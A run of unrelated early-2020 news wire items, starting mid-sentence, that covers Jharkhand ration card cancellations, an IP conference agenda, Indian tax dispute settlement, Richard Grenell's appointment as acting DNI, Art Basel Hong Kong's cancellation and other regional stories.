costs, while Truong Van Cam, vice chairman and general secretary of the Vietnam Textile and Apparel Association (Vitas), said that a significant portion of the textile industry's feedstock is from China. Those who suppress their distaste of such checkbook politics have failed to price in both the short- and long-term risks of this practice. In the short term, there is a clear risk that supporters of other candidates would be so turned off by Bloombergs nomination that they would stay home or vote for an alternative in November. In the longer term, the risk is far more grave: This billionaire might be tolerable, but the next one who wants to spend his way into office may be far less so. Having accepted the practice once, it will be hard to stop it later. A limited study conducted in 10 of the 24 districts of Jharkhand has found that almost 90 per cent of ration cards cancelled by the state government three years ago belonged to genuine households. The study was carried out by the Abdul Latif Jameel Poverty Action Lab (J-PAL), co-founded by Abhijit Banerjee and his wife Esther Duflo, both of whom won the Nobel Economics Prize in 2019. A random sample of nearly 4,000 ration cards that were verified revealed that "just over 10 per cent belonged to 'ghosts', meaning households that could not be traced," it said. "In 2017, lakhs of ration cards were deleted in Jharkhand without even informing the households concerned," claims the study, co-authored by economists Karthik Muralidharan, Paul Niehaus and Sandip Sukhtankar. The study, released to the media here, includes an analysis of the deletion of ration cards between 2016 and 2018 in 10 randomly-selected districts of the state. The then state government had claimed that most of the cards were "fake', the study says. Quoting a press release of the previous government dated 27 March 2017, it says, "All the ration cards which have not been linked with Aadhaar number will become null and void on 5th April...nearly three lakh ration cards have been declared invalid." On September 22, 2017, the then state government had said in a booklet, "The work of seeding ration cards with Aadhaar numbers has started. In this process 11.64 lakh fake ration cards have been found. "Through this, the state government in one year has saved Rs 225 crore which can now be used for the development of poor people. 99 per cent of ration cards have been seeded with Aadhaar." The study also said that on November 10, 2017, the food department of the state government had clarified that the number of deleted ration cards actually stood at 6.96 lakh, and not 11 lakh. The food department called them 'fake'. The study claims cancellation of ration cards was a trigger for "starvation deaths". It cited the example of an 11-year-old girl Santoshi Kumari who died allegedly of starvation in Simdega district in September 2007. Her familys ration card had been cancelled due to non-linkage with Aadhaar card. However, the then BJP government in the state had denied reports of any starvation death in the state. The study says the 1.44 lakh ration cards scrapped in the randomly-selected 10 districts between 2016 and 2018 constitute about six per cent of all the ration cards in these districts. Cards not linked with Aadhaar accounted for 56 per cent of the cancelled cards, and nine per cent of the total ration cards, it says. Jharkhand Planning, Finance, Food and Consumer Affairs minister Rameshwar Oraon said that verification work was continuing to cancel "duplicate cards" and, if genuine people did not have cards, their names would be included. "Verification is underway. There are nearly five lakh doubtful ration cards and many duplicate cards which have never been used to buy foodgrains. "Names of people who are entitled to cards will be added in the ration card list, including those whose genuine cards were cancelled. The Food Security Act will be implemented strictly," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) KnowIt: Intellectual Property in a Digital World will be held between May 11-14 at Aria Resort and Casino in Las Vegas. The event is aimed at both those who protect IP and those who create it and will draw a versatile crowd encompassing academics, authors, inventors and brand creators. KnowIt provides a useful opportunity to connect and network with people from different fields. Panels will discuss an array of issues connected to IP, including patents and innovation in the past, present and future, the ethics of innovation and the survival of trademarks in an increasingly mechanised world. Information on some of the key sessions is provided below. The patent bargain: innovations past, present and future This session will discuss the original patent bargain and its evolution. The initial patent bargain was between an inventor and society. This agreement allowed inventors a temporary market monopoly in return for sharing a significant scientific development with others. This has led to many years of innovation. However, recently patents have been under threat from a range of factors including PTAB challenges, litigation cost shifting, and a haziness around what is patentable. The future also seems riddled with patent complications. For example, what happens when an inventor creates AI technology which generates its own inventions? This topic will be debated by creators and protectors of IP in what promises to be a fascinating panel discussion. Will trademarks survive the rise of the machines? A trademark identifies and distinguishes the source of the goods of one party from those of others. Will this source identifying function still be relevant in a world where AI can remove humans from much of the product selection and purchasing process? The future use of AI could essentially limit the effectiveness of the brand as an identifier, and would require us to rethink many of the classic principles of trademark law (for example, likelihood of consumer confusion). Even if humans still direct purchasing decisions, questions remain around issues that could impact a consumers emotional attachment to a brand, such as the lack of visual branding when voice shopping. AI is being trained using human creative output. Is that fair? Human creations are being used to train AI. For example, an IBM AI was trained to recognise faces through photographs created by humans taken from Flickr. This raises questions about copyright and fairness. Should a company that has used material protected by copyright to train AI compensate or ask permission from the right holder? Alternatively, does this constitute fair use? If it does not qualify as fair use, how does one go about seeking the consent of so many creators? This topic is also connected to other issues raised by AI, such as universal basic income and robot taxes. States take the lead on privacy The US is in the process of reviewing its stance on privacy and the recent enactment of the California Consumer Privacy Act (CCPA) is an example of this. The act requires increased transparency in the way companies collect, use and share data. This piece of legislation, though in no way identical, has similarities with GDPR rules in the EU. Other states in the US have also contemplated introducing privacy laws, and there are indications that a federal law on the issue may be introduced. This panel will discuss the best way for the US to progress in the realm of privacy. The ethics of innovation This fascinating panel discussion focuses on the ethics surrounding AI. A number of recent incidents raise questions about whether, just because we have the capacity to create such an advanced technology, we should develop it. For example, in 2017, Facebooks Artificial Intelligence Research team carried out experiments with AI systems that could communicate with humans and discovered that the chatbots were communicating with one another in a language they had invented themselves. The panel will focus on what protocols and rules might be necessary when innovating. Is intellectual property ready for prime time in the Fourth Industrial Revolution? In a time where ideas and innovation have increasing value, intellectual property is a more pertinent issue than ever before. This discussion will deal with the myriad questions raised by the Fourth Industrial Revolution. The following are some of the topics under debate: Is the patent system ready for further FRAND wars and the interoperability issues raised by the IoT? Is copyright the correct medium through which to protect software and AI? Join this panel to grapple with some of the key issues facing IP today. KnowIt: Whos who Cheryl Slipski is the founder and CEO of KnowIt. She was an intellectual property lawyer for many years, then spent several years as general counsel of a payments company, before moving into a business role with Google. Prior to founding KnowIt, she was the CEO of Ubiquity Compliance Solutions, a company focused on solving the challenges caused by fraud in Fintech. Anil D Aggarwal and Simran Rekhi Aggarwal have co-founded KnowIt with Slipski. They have previously been responsible for key retail and fintech events such as Shoptalk and Money2020. For more information about the event, please visit https://knowitevent.com/#agenda. The material on this site is for law firms, companies and other IP specialists. It is for information only. Please read our Terms and Conditions and Privacy Notice before using the site. All material subject to strictly enforced copyright laws. 2021 Euromoney Institutional Investor PLC. For help please see our FAQs. Share this article ASHGABAT, Turkmenistan, Feb. 21 By Huseyn Hasanov Trend: Turkmenistan's electricity exports to Uzbekistan decreased by 13 times on Feb. 21 due to an accident, Trend reports with reference to Uzbekistan National Power Networks LLC. The information says that on February 21, 2020, an accident occurred in the power system of Turkmenistan between the substations "Mary" and "Serdar". As a result, electricity supplies from Turkmenistan fell from 780 megawatts to 60 megawatts. Currently, Turkmen power engineers are identifying the causes of the malfunction, and the necessary work will follow to eliminate it. Due to the malfunction of the power transmission network of Turkmenistan and the operation of emergency automation, consumers using the capacity of 600 megawatts are temporarily disconnected from the network. All reserve forces have been mobilized in Uzbekistan. Meanwhile, Turkmenistan plans to increase the total volume of electricity production up to 33 billion kilowatt hours by 2024, which exceeds the current indicators by almost 30 percent. Asian Development Bank (ADB) recently allocated $500 million for an electricity project in Turkmenistan. Within its framework, a trunk power line will be created for the country. The power line will increase the reliability of energy supply to both domestic consumers and neighboring countries-importers of electricity, including Afghanistan. Turkmenistan is selling electricity to Afghanistan and Iran. An agreement on supplies to Uzbekistan was signed. Ashgabat is also exploring other prospects for supplies to the markets of the Caucasus, Central and South Asia. Israel: Netanyahu, Gantz won't have majority, poll says Lieberman to remain key, according to survey (ANSAmed) - TEL AVIV, FEBRUARY 21 - The third electoral round in a year in Israel could prove inconclusive, according to a new poll released Friday, one and a half weeks before the vote. According to the survey, neither the leader of Likud Benyamin Netanyahu nor his centrist rival Benny Gantz (Blue and White party) look like they could reach the minimum majority of 61 out of 120 seats in the Knesset, said the survey published by Maariv. The poll said that 36 seats would go to Blue-White, 32 to Likud, 58 to the center-left and 54 to the right. Gantz on Thursday announced that he would not include the United Arab List (14 seats, according to the poll published by Maariv) if he were to form the government. As in previous elections, once again the party Israel Beitenu of Avigdor Lieberman (8 seats according to the poll) would have a key role. Media reports said its support could lead to a minority government. On Thursday Lieberman said Netanyahu has ''concluded his historic role'' and that it would not support a government led by him. (ANSAmed) Goa Chief Minister Pramod Sawant on Friday accused some NGOs of unwanted opposition to projects envisaged by the Narendra Modi government at the Centre. He was addressing a gathering after inaugurating India's first-ever floating jetty in Panaji in the presence of Union Minister of State for Shipping Mansukh Mandaviya. "Whenever we try to do something, some NGOs start opposing them. First, they should understand the project, know how it will benefit the people and the state, whether it will really impact the environment, and then they should form their opinion," Sawant said. "But there is a trend to oppose any big project taken up by the Modi government or the state government," he added. He thanked Mandaviya for this jetty and also for the assurance that another three such facilities would come up in the coastal state. Claiming that Goa's inland waterways have huge potential but are under-utilised, Sawant said, "We have noticed that several barges (which carry iron ore), dependent on the mining business, are rusting after the sector stopped. If inland waterways were developed, they would have got required business." Sawant said Mormugao Port is working at 50 per cent capacity and asked for this to be increased to solve Goa's revenue and employment issues. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The cancellation of the Art Basel in Hong Kong (ABHK) event because of the coronavirus outbreak is a setback but understandable given the circumstances, say Indian exhibitors who were getting ready to participate in the eighth edition of Asia's largest art fair. Five Indian galleries -- Jhaveri Contemporary, Gallery Espace, Vadehra Art Gallery, Chemould Prescott and Experimenter -- were to be among more than 240 galleries taking part in the March 19-21 fair. Priyanka Raja of Kolkata-based Experimenter gallery said the cancellation does come at a cost for her gallery, but agreed that there was a significant "health and safety" risk. "Like for any other major international art fair, the gallery had put in months of planning and significant investment for Art Basel Hong Kong this year too, so it certainly is a strain for the organisation," Raja told PTI. "We understand the decision taken is not an easy one on the management's side but a necessity... It would be a health and safety risk and a complicated navigation of travel bans for the thousands of people travelling to exhibit and to visit the fair should they have decided to go on," Raja, the co-founder of the gallery, added. Experimenter was going to take a group presentation by six of its leading artists -- Samson Young (Hong Kong), Ayesha Sultana (Bangladesh), Bani Abidi (Pakistan) as well as India's Radhika Khimji, Praneet Soi and Rathin Barman. Mumbai-based Chemould Prescott's Shireen Gandhy said the fair is an "important marker" in their calendar, and its cancellation will render a "discontinuity" in the associations that the event offered every year across the global art fraternity. "We find increasing interest (at ABHK) in contemporary art from regions like HK, Singapore, Korea - the break in this continuity is definitely a setback when it comes to continued associations," said Gandhy, who has previously been on the selection committee of the fair. Chemould Prescott was set to display works by its key artists, including Mithu Sen, Dhruvi Acharya, Jitish Kallat and Atul Dodiya. Art Basel, the fair's Basel-based parent organisation, announced earlier this month that they had "no option but to cancel" the Hong Kong show following the severe outbreak of the novel coronavirus, which has been declared a global health emergency by the World Health Organization. More than 2,100 people have died in China alone. Two deaths have been reported in Hong Kong. Known for its continued focus on art from Asia, this year's ABHK was expected to witness participation by 244 leading galleries from 31 countries from across the globe. Terming the turn of events "sad", Roshni Vadehra, director at Delhi's Vadehra Art Gallery (VAG), said it was not just a loss for the exhibitors but also for the audience. She said she was planning to show works by VAG's "top" contemporary artists, including Atul and Anju Dodiya and Shilpa Gupta at the Hong Kong fair. "It is very unfortunate that Art Basel Hong Kong has been cancelled. Apart from it being the most important fair in South East Asia and important for business, it's also a fair that in particular has a significant focus on India every year. "Hong Kong as a city has a strong and vibrant contemporary art culture and this time of the year is important also for other collateral events and exhibitions. It's very sad that all of that will be missed this year, by the local community as well as the visiting audience," Vadehra told PTI. Art Basel said numerous factors led to the decision to cancel the fair. These included fundamental concern for the health and safety of all those working at and attending the fair, the severe logistical challenges facing the build-out and transit of artwork to the show, and the escalating difficulties complicating international travel. Expressing his support to those affected by the recent coronavirus outbreak around the world, Marc Spiegler, Art Basel's global director, said in a statement that the decision to cancel Art Basel Hong Kong was an "extremely difficult" one. "We explored every other possible option before doing so, gathering advice and perspectives from many gallerists, collectors, partners and external experts. "Our team dedicated extensive time and effort to ensure our show in March would be a success over the course of the past year. Unfortunately, the sudden outbreak and rapid spread of the novel coronavirus radically changed the situation," Spiegler said. Adeline Ooi, director Asia, Art Basel, said their commitment to Asia and Hong Kong has not changed and they look forward to the 2021 edition. The next edition of Art Basel in Hong Kong is scheduled to take place from March 25 to March 27, 2021. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Shilpa Bhatia The Indian Finance Minister announced the introduction of the Vivad Se Vishwas scheme during her budget speech with a view to provide for resolution of pending tax disputes. The scheme was introduced after the success of the Sabka Vishwas Scheme, which was introduced to reduce indirect tax disputes. The scheme provides waiver from interest and penalty. The initial bill introduced by the Government needed a lot of clarifications, and thus the Government introduced the amendments and the same got approved by the Union Cabinet on February 12. What the scheme entails The bill shall apply to all the appeals filed by declarants or the Government, which are pending with the Commissioner (Appeals), DRP, Income-tax Appellate Tribunal, High Court or Supreme Court and revision cases that are pending before the CIT as on the January 31, 2020 or where orders where time limit for filing appeal has not expired as on January 31, and all search cases where the disputed demand is less than Rs 5 crore. The declarant will have to file a declaration before the authority to opt for such scheme. Exclusions from the Scheme The scheme applies to all the pending litigation except the following cases:- - Cases related to search or seizure; - Cases where the prosecution has been instituted on or before the date of filing of declaration; - Cases related to any undisclosed foreign income or assets; - Cases which are completed based on information received as a result of exchange of information with other tax jurisdictions - Cases where the CIT (Appeals) has issued a notice of enhancement; - Cases in which an order of detention has been made or prosecution has been instituted/ conviction has been made under specified Acts or notification has been made under the Special Court (Trial of Offences Relating to Transactions in Securities) Act, 1992. Payment Schedules Withdrawal and waiver of rights The taxpayer would be required to submit the proof of withdrawal of appeal/writ with the intimation of payment, i.e., before the issuance of the final certificate/order for settling the dispute. Further, no recourse shall be available to the taxpayer against the final order. Key Aspects - No declaration can be filed issue-wise - The amended scheme has provided options to the taxpayer either to pay notional tax on the disputed amount and take the benefit of claimed losses and/or accept the reduced losses and pay nothing after accepting the additions and settle the penalty. Thats a favourable provision for those taxpayers who have huge losses and are planning to shut down their businesses. - Although the Government has provided a window to the declarant to settle the transfer pricing disputes under the scheme, it has kept the secondary adjustment provisions intact. Thus, the declarant will need to repatriate funds to India even if he goes for settlement under the scheme. - Once the declaration is moved by the taxpayer, all the remedies under the appellate channels (including international arbitration, conciliation or mediation) will subside. Conclusion The introduction of the scheme is a welcome move and is expected to reduce tax litigation. The Government is also required to give assurance to the taxpayer that the acceptance of any addition under the scheme will not be used as a tool to punish the taxpayer in other proceedings. The Government should have considered extending the first payment window from March 31, as taxpayers require sufficient time to review the pros and cons of the Scheme, their eligibility, and then take the necessary steps for withdrawing appeals and making payments. Although it is a highly beneficial scheme for the taxpayer, those interested in opting for the scheme must carefully analyse the likely outcome, litigation costs and chances of success in appellate proceedings. If the chances are minimal, then the taxpayer must opt for the scheme because that will automatically lead to dropping of all penalty proceedings. This can be good move where taxpayers will come forward and make good the principal sum involved in the tax demand. However, large corporates that are fighting in the courts may not be willing to give up their chance of winning in courts. In the recent amendment, the government has covered all the departmental appeals and gave benefit to taxpayers. So, now, taxpayers can pay 50 per cent of the disputed tax and settle the disputes. Through the amendment, the government has also provided immunity from the institution of any proceeding for prosecution for any offense under the I-T Act in respect of the matters covered under the declaration. Thus, the taxpayers will get immunity from penalty, interest and prosecution. Thus, its a complete end-to-end relief to taxpayers relating to the declaration filed. Taxpayers will get a refund of the money paid earlier in respect to the declaration filed. Thus, if the taxpayer has paid anything on account of interest, it will be refunded by the government. It is worth noting that opting for the settlement scheme in one year will not create any precedent in other years that have similar issues. Thus, the settlement does not become a precedent for the subsequent years. Taxpayers need to carefully evaluate the scheme keeping this in mind. (The writer is Director, Direct Taxes, Ashok Maheshwary & Associates LLP.) Source: Xinhua| 2020-02-21 20:57:40|Editor: xuxin Video Player Close ADDIS ABABA, Feb. 21 (Xinhua) -- The United Nations Economic Commission for Africa (UNECA) on Friday said that the upcoming Africa Regional Forum on Sustainable Development (ARFSD-2020), slated to be held from Feb. 24 to 27 in Zimbabwe, has attracted senior UN officials including the UN Deputy Secretary-General Amina Mohammed into the South African country. Noting that the high-level continental forum, among other things, will provide a platform for peer learning and exchange, with particular emphasis on the implementation of the global Sustainable Development Goals (SDGs), the UN-ECA emphasized in a statement issued Friday that the continental gathering would inject a crucial impetus to drive Africa's momentum towards realizing sustainable development across the continent. According to the ECA, this year's edition of the ARFSD, which will be held in Zimbabwe's resort town of Victoria Falls next week under the theme "2020-2030: A Decade to deliver a transformed and prosperous Africa through the 2030 Agenda and Agenda 2063," will bring "all the 17 Sustainable Development Goals (SDGs) under the spotlight." The UN deputy chief, who is set to arrive in Zimbabwe on Saturday, will on Feb. 24 attend an African youth engagement forum for the decade of action which is calling on nations to accelerate implementation of the sustainable development goals, it was noted. "The continental forum, dubbed 'The UN at 75 - The Future is Now', will allow Mohammed and other senior UN officials like Vera Songwe, Executive Secretary of the ECA, to interact with the youth, and seeks to inspire them, especially young African girls, that they can actively contribute to shape the present they live in and the future they want," an ECA statement read. The ECA, noting that experts and policymakers attending the forum will discuss the collective actions that are needed around youth and women empowerment in Africa, also stressed that the meeting is expected to increase interest and determination from young African leaders, in particular young ladies, to be active global citizens, and to contribute to the advancement of the 2030 agenda for sustainable development and Africa's 50-year continental development Agenda 2063 in their communities and at the global level. It also said that the youth empowerment-themed gathering will contribute the UN Economic and Social Council (ECOSOC) youth forum to be held in New York in April; to the high-level meeting of the General Assembly on the UN's 75 anniversary in September and the High-Level Political Forum (HLPF). The UN Deputy Secretary-General and other senior UN officials are also expected to take part in a special session of the Regional Coordination Mechanism for Africa (RCM-Africa), which is an inter-agency meeting held annually to improve cooperation and coordination among the organizations of the UN system. Mohammed and other senior UN officials will also attend the first-ever meeting of UN regional coordinators on the African continent that will bring together all UN regional coordinators, which will be held in Victoria Falls on the margins of the Sixth Africa Regional Forum on Sustainable Development (ARFSD). "The forum will allow the continent to take stock of where Africa is in terms of implementing the two agendas and come up with actions needed to accelerate implementation to ensure no-one is left behind," an ECA statement read. The ARFSD-2020 is intended to be an action-oriented Forum for stakeholders to explore, gain insight into, share and agree on sets of concrete and workable actions that will enable the African countries to achieve set targets within the set time, it was noted. Amid the approaching high-level continental sustainable development-themed gathering, Oliver Chinganya, Officer in Charge of the Technology, Climate Change and Natural Resources Management Division at the ECA, had recently stressed that the meeting "is very important as it helps us take stock of where the continent is in terms of implementing the SDGs." "Presently we are not doing very well. We are lacking in many areas. There are a lot of holes, especially when you look at data be it on poverty or climate change. So the 2020 Forum needs to spur ambitious actions to help us deliver on all the goals as Africa," said Chinganya, who is also Director of the ECA's African Centre for Statistics. No presentation of masculinity not Buttigiegs, and not Trumps is a salubrious thing. Its all toxic. But theres a key difference. Trumps idea of manliness involves degrading women, threatening violence against racial and religious and sexual minorities, and using false and superficial displays of strength (Whos the loudest? Whos the meanest? Whos sleeping with the hottest women? Whos making other people look small?) to overcome self-doubt and feel big. By contrast, men who take the stoic approach, stifling their emotions and anything that smacks of stereotypical femininity, mostly harm themselves; acting like Gary Cooper can eat you up from the inside. But on a general-election stage, against Trumps primordial displays of dominance, the style that Buttigieg fashioned in the closet might serve him well, especially combined with the relative freedom hes found in the few years since. Thats partly because his only real insecurity in life, it appears, has been about his queerness; intellectually, politically and morally, Buttigieg betrays almost too much self-confidence. He speaks in such perfect paragraphs that his critics think he is scripted, even when he improvises. It can sometimes come off as lofty or smarter-than-thou but the message discipline is impressive. And Buttigieg has shown a sneaky flair for effective zingers. Intelligence experts interviewed by Yahoo News are skeptical that Richard Grenell, President Trumps pick to replace Adm. Joseph Maguire as acting director of national intelligence, is a good fit for the job. The White House announced Thursday that Grenell, the current U.S. ambassador to Germany, would become the second person since August to assume the temporary role of the nations top intelligence official. Larry Pfeiffer, former CIA chief of staff and NSA Director Michael Hayden, who also served in the White House situation room, told Yahoo News that Grenells apparent access to the president is normally a very good thing for the intelligence community but warned that his background at Capitol Media Partners, a firm he founded specializing in political spin, might lead him to tell the president what he wants to hear and not what he has to hear. Those assertions might be backed up by Grenells history of highly political, pro-Trump arguments on Twitter, including a suggestion that Russian interference actually helped former Secretary of State Hillary Clinton over President Trump in the 2016 elections. Grenell deleted some of those tweets on the day he was announced as Trumps candidate for acting DNI. Richard Grenell. (Darko Vojinovic/AP) The first priority for an acting director of national intelligence is remaining apolitical. The office of the DNI cannot be politicized, said Chris Costa, executive director of the International Spy Museum and a 34-year intelligence community veteran who served as a senior adviser for counterterrorism on the National Security Council for President Trump, noting that Sen. Dan Coats was a former politician and performed his DNI duties well. Grenell, who took up his Berlin post in May 2018, previously served as a communications chief at the United Nations during the George W. Bush administration. He later founded Capitol Media Partners and temporarily worked as foreign policy spokesperson for Mitt Romneys 2012 presidential campaign. Story continues Grenell has no direct intelligence or national security experience beyond his public affairs role at the U.N. and his coordination with intelligence officials in Germany. As ambassador to Germany, Grenell has played an important role in securing and welcoming home freed American hostages who receive medical care in Germany, a key diplomatic and security mission for the Trump administration. However, he suggested in a tweet Thursday that his tenure in his new role would be brief, and that the president will announce the nominee (not me) sometime soon. While its unclear whether Grenell will vacate his post in Germany or attempt to do both jobs simultaneously, one former intelligence official familiar with the matter told Yahoo News that the intelligence staff was told to expect to see their new boss in the office in the Washington area on Thursday or Friday. Costa also said that Grenells job as an ambassador creates some advantages. In that role, he wouldve already acted as a very senior recipient, customer and consumer of intelligence; [hes] presumably interacted with the FBI, CIA and other elements of the IC, he continued. Former acting Director of National Intelligence Joseph Maguire. (Andrew Harnik/AP) However, Pfeiffer noted, the law that created the role of the director of national intelligence following the terrorist attacks of 9/11 stated that the holder of the position should have extensive national security expertise, without strictly defining those parameters. The DNI needs to coordinate 17 different intelligence agencies including his or her own office, conduct long-term planning and manage the intelligence budget. The spirit of the law, Pfeiffer said, is to nominate not only someone with years of relevant expertise but somebody with gravitas, somebody who can cajole and persuade, because the law doesnt extend extensive legal authorities to the DNI. Some analysts Yahoo News spoke with said Grenell, who has a reputation as a Trump loyalist, would be a good fit to lead the intelligence community, while others offered him the benefit of the doubt or felt his temporary appointment would not significantly impact the work being done by ODNI. A former senior intelligence official who asked not to be named to discuss a political appointment said that its not surprising that the president would appoint a loyalist as acting DNI, particularly with an election coming up and the fact that there is little time to vet and confirm a full-time intelligence chief. The office of the DNI wont collapse as a result of a political appointment or a temporary leader, according to the former official. I think the DNI is pretty much a self-sustaining bureaucracy, the former official said. Its a process place, not an action place. Despite Grenells reputation as a political figure, theres hope that the other heads of intelligence agencies will try to restrain him to the extent they can without angering POTUS, said Douglas London, a recently retired CIA senior operations officer and an adjunct professor at Georgetown University. However, he told Yahoo News he is not optimistic because clearly their aversion to conducting the worldwide threat briefing in public reflects their disinclination to provoke POTUS reprisals. Traditionally, heads of the intelligence community host an annual public briefing with congressional overseers to discuss their vision of the top threats facing the United States. However, following the 2019 threat briefing, Trump lashed out at then Director of National Intelligence Dan Coats for publicly representing the facts and analysis from the community that contradicted Trumps opinions, such as the communitys lack of confidence that North Korean leader Kim Jong Un would ever give up his nuclear weapons voluntarily. Coats and his deputy, the well-respected intelligence community veteran Susan Gordon, were pushed out of their roles in late summer. Adm. Joseph Maguire, the former head of the National Counterterrorism Center, got called to the Office of the Director of National Intelligence after Coatss departure amidst a high-profile controversy over an intelligence community whistleblower providing evidence that Trump had conditioned military aid to Ukraine on investigations into former Vice President Joe Biden and his son Hunter. That complaint, bolstered by numerous witnesses who testified before the House Intelligence Committee, led to President Trumps impeachment by the House of Representatives, although the Republican-controlled Senate acquitted him in early February. Maguire, who had not anticipated taking on the role, was apparently just as surprised by the sudden announcement that Grenell would replace him, according to one former intelligence official although his tenure as acting DNI would soon be up anyway according to the Federal Vacancies Act. Maguire, in a statement published Wednesday evening, thanked President Trump for the honor to work alongside the men and women of the intelligence community and said he will look forward to the next challenge, without specifying what that might be. Costa told Yahoo News that Maguire did an excellent job as an acting under some tough circumstances, while noting that he cant stay in as acting [DNI] forever, and the president may bring in whoever he wants to serve as acting DNI. Spokespeople for the Office of the Director of National Intelligence and the National Security Council did not provide additional answers to Yahoo News as to whether Grenell would return from Germany to carry out the duties of acting DNI, or where outgoing acting DNI Maguire would be headed next. The State Department did not respond to an emailed query, and a phone call to the U.S. Embassy in Berlin went unanswered. Not only has the Office of the Director of National Intelligence gone without a permanent director for more than six months, but the organizations previous No. 2, Susan Gordon, has not yet been replaced either. Andrew Hallman, who was previously the CIAs deputy director for innovation, is currently serving as the offices principal executive and performing many of the duties of the PPDNI in the absence of a nomination from the president. Meanwhile, Jason Klitenic, the Office of the Director of National Intelligences general counsel, will reportedly leave his role early next month. Given that President Trump has seemingly been working since before his inauguration to minimize the authority and role of the DNI, and publicly chastising his top officials like Coats on multiple occasions, its unclear whether morale, recruitment and retention for the DNI and the intelligence community as a whole has been significantly affected. Pfeiffer, director of the Hayden Center at George Mason University, noted that top intelligence officials like Maguire, Hallman, Gordon and Coats have been working really hard to make sure the people who are there are hunkering down and doing their job. Within the Office of the Director of National Intelligence, several senior officials maintain a level of independence. William Evanina, the director of the National Counterintelligence and Security Center within the Office of the Director of National Intelligence, just published a detailed new counterintelligence strategy and has toured the country discussing counterintelligence threats with academics, executives, state and local officials and others. Shelby Pierson, who heads the DNIs election security unit, appears frequently and publicly to discuss the importance of election interference, despite President Trumps reticence to chastise Russia for its interference in the 2016 U.S. presidential elections. Youve got people with important jobs continuing to do those important jobs, said Pfeiffer. However, he said, the presidents treatment of the DNI can only have a corrosive effect on morale, recruitment and retention. _____ Read more from Yahoo News: Claiming that 26 tigers were missing from Ranthambhore National Park in Rajasthan, BJP MP and member of the National Tiger Conservation Authority (NTCA) Diya Kumari has written to the Union minister, demanding a high level inquiry in the matter. Kumari, in a letter to Environment, Forest and Climate Change Minister Prakash Javadekar, said a report has been submitted to the state government, stating that 26 tigers are missing from the park, which is located in Sawai Madhopur district. She demanded a high level inquiry in the matter. The MP also stated in her letter that the attitude of officials concerned and authorities of the park was "half-hearted and lackadaisical". A national park is supposed to conserve the endangered animals and not lead to the decrease in their numbers, she said in her letter, written on Wednesday. She also said the poachers must be identified, caught and strict action must be taken against them to prevent recurrence of incidents. Earlier, on Monday, BJP MLA Chandrabhan Singh Aakya had also raised the issue of missing tigers in Ranthambhore during Zero Hour in the assembly. Manoj Parashar, chief conservator of forest, Sawai Madhopur, could not be contacted for comments. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) English Finnish Municipality Finance Plc Stock Exchange Release 21 February 2020 at 1.15 am (EET) Change in the Board of Directors of MuniFin Raija-Leena Hankonen, member of the Board of Directors of Municipality Finance Plc (MuniFin), has as of today resigned from the Board of Directors, including its Committees, as she is proposed to be elected to the Board of Directors of Danske Bank A/S. According to MuniFins Articles of Association, a member of the Board of Directors may not belong to the management of another credit institution. Board membership in MuniFin has been an extremely interesting position in which I have been able to participate in the management of the third largest credit institution in Finland, seeing its importance for responsible finance of public sector. I am happy to have had this opportunity to help build MuniFins success from my part during the past year," says Raija-Leena Hankonen. "Despite having served on the MuniFins Board of Directors for a shorter period than planned, Raija-Leena Hankonen's expertise and extensive experience in external audit and financial sector operations have been a great benefit for MuniFin. I thank her for her contribution and wish her every success in her future endeavors," says Helena Wallden, Chair of MuniFin's Board of Directors. MUNICIPALITY FINANCE PLC Mari Tyster Executive Vice President, Legal and Governance Tel. +358 50 3686860 MuniFin (Municipality Finance Plc) is one of Finland's largest credit institutions: the company's balance sheet totals nearly EUR 39 billion. The company is owned by Finnish municipalities, the public sector pension fund Keva and the Republic of Finland. MuniFin's mission is to build a better future in line with the principles of responsibility and in cooperation with its customers. MuniFin's customers are Finnish municipalities, municipal federations, municipally controlled entities and non-profit housing organisations. Lending is used for environmentally and socially responsible investment targets such as public transportation, sustainable buildings, hospitals and healthcare centres, schools and day care centres, and homes for people with special needs. MuniFin's customers are domestic but the company operates in a completely global business environment. It is the most active Finnish bond issuer in international capital markets and the first Finnish green bond issuer. The funding is exclusively guaranteed by the Municipal Guarantee Board. The Municipality Finance Group also includes the subsidiary company, Financial Advisory Services Inspira Ltd. Read more: www.munifin.fi On a foggy February evening, Leia Olinde and her husband were out for a late-night stroll on Galveston's seawall when she spotted something unusual in the waves. "The best way I can describe it is like neon blue lighting inside the waves when they break," Olinde told Chron.com. "It's breathtakingly beautiful." Olinde said they were on the seawall directly in front of Gaidos, and had to go pretty far out on the jetty to get a better look through the fog. Though still in the distance, she was able to capture some spectacular images. DON'T TOUCH IT!: 'Creepy' sea creature known for painful sting spotted in Port Isabel "It's hands down one of my favorite natural phenomenon to see and so hard to catch," said Olinde. Dr. Antoinetta Quigg agrees. The professor of marine biology at Texas A&M Galveston says she has tried numerous time to photograph the phenomenon, but with no success. "It's hard to get a good photo," said Quigg. "We see it every single year," said Quigg. " They usually come in the same time every year." Quigg said the light show is caused by Noctiluca scintillans, bioluminescent microbes that are found free floating in Galveston Bay during winter and spring. Noctiluca are a good form of algae, and the light is produced when they are agitated by the waves. "It's the same thing that goes on in fireflies." Bioluminescent microbes are very visible in other parts of the world, like off the shores of Puerto Rico, Jamaica, Vietnam and the Maldives. In those pareas where their display is more visible, Noctiluca is commonly called "Sea Sparkle", "Sea Ghost", or "Fire of the Sea." Quigg said we don't notice them as much in Galveston Bay because the waters may be too calm to spark their show. HOUSTONCHRONICLE.COM: Mardi Gras Galveston starts this weekend. Here's your ultimate guide! Olinde may be one of the lucky few to see the local light show on multiple occasions. "Last time we saw it in person was on Bolivar Peninsula almost exactly 5 years ago but my phone at the time wouldn't pick it up very well," she said. And while her photos and video may be a bit fuzzy, to her they are masterpieces. "I was so excited because it's my absolute favorite natural phenomenon to watch and I thought I'd never see it again in person since the last time," Olinde said. "The pictures really don't even do it justice compared to seeing it in person." Danny Hermosillo is the Sr. Digital News Editor for Chron.com | Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @Dannyherm1| Email him at Danny.Hermosillo@chron.com A woman identified by federal officials as Girlfriend 1, an apparent romantic partner and confidante of former Public Works Director Mohammed Nuru, is city official Sandra Zuniga, according to people familiar with the matter. She traveled with him when he allegedly accepted improper gifts, according to federal documents. Zuniga is the director of the citys Fix-It Team, which works to address everyday quality-of-life issues in San Francisco neighborhoods. Shes also the director of the Mayors Office of Neighborhood Services, which works with community and neighborhood groups. Gabrielle Lurie / 